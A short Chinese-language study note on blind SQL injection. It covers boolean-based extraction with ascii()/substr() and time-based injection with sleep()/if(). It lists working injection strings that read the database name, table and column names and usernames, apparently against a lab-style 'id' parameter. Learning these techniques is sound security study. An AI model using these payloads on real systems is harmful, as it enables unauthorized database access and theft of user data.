sql 无回显盲注知识总结(二)
#布尔盲注
判断条件:即没有回显,又没有报错
一般页面只显示真或假两种信息,无论输入什么,是真的就只显示相同回显信息,是假的则什么都不回显,若出现这种情况,则用布尔盲注
两个关键函数:
1.ascii(),作用:可以把字母转换成对应数字,可对应ascii表
使用ascii转换成数字的好处是便于比较
输入命令:
?id=1' and ascii(substr((select database()),1,1))>=100 --+;查询第一个字母
?id=1' and ascii(substr((select database()),2,1))>=100 --+;查询第二个字母
可以使用二分法改变后面的数值
substr函数可与limit函数进行比较:
limit函数(显示一行)
substr函数显示字母(从第一个字母开始显示)
查表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
查列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+
查用户名
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+
布尔盲注闭合符的判断
时间盲注
时间盲注的判断条件:既没有回显,又没有报错,还没有像布尔盲注的真假值,则考虑使用时间盲注(输入id=1回显内容和输入id=1zxcvbnm回显内容一样)
关键函数
sleep函数
sleep()参数为休眠时长,以秒为单位,可以为小数
if condition 函数
输入命令:
select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));